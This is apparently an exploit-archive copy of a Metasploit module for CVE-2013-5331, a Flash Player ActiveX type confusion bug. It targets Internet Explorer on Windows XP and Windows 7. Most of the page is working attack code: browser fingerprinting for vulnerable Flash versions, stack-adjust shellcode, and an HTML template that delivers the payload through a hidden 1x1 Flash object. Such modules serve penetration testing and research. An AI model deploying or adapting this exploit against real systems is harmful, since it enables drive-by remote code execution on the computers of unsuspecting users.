Adobe Flash Player Type Confusion Remote Code Execution Exploit

2014-04-2900:00:00

metasploit

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0.967 High

EPSS

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This Metasploit module exploits a type confusion vulnerability found in the ActiveX component of Adobe Flash Player. This vulnerability was found exploited in the wild in November 2013. This Metasploit module has been tested successfully on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170 over Windows XP SP3 and Windows 7 SP1.

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::BrowserExploitServer
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Type Confusion Remote Code Execution",
      'Description'    => %q{
        This module exploits a type confusion vulnerability found in the ActiveX
        component of Adobe Flash Player. This vulnerability was found exploited
        in the wild in November 2013. This module has been tested successfully
        on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170
        over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'bannedit', # Exploit in the wild discoverer, analysis and reporting
          'juan vazquez' # msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-5331' ],
          [ 'OSVDB', '100774'],
          [ 'BID', '64199'],
          [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],
          [ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]
        ],
      'Payload'        =>
        {
          'Space' => 2000,
          'DisableNops' => true,
          'PrependEncoder' => stack_adjust
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f',
          'Retries'              => false,
          'EXITFUNC'             => "thread"
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
          :method  => "LoadMovie",
          :os_name => Msf::OperatingSystems::WINDOWS,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Dec 10 2013",
      'DefaultTarget'  => 0))
  end
 
  def exploit
    @swf = create_swf
    super
  end
 
  def stack_adjust
    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
 
    adjust
  end
 
  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")
 
    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end
 
    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    print_status("showme the money")
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end
 
  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    flash_payload = ""
    get_payload(cli,target_info).unpack("V*").each do |i|
      flash_payload << "0x#{i.to_s(16)},"
    end
    flash_payload.gsub!(/,$/, "")
 
 
    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=flash_payload%>" />
    <param name="Play" value="true" />
    </object>
    </body>
    </html>
    |
 
    return html_template, binding()
  end
 
  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }
 
    swf
  end
 
end

#  0day.today [2018-03-19]  #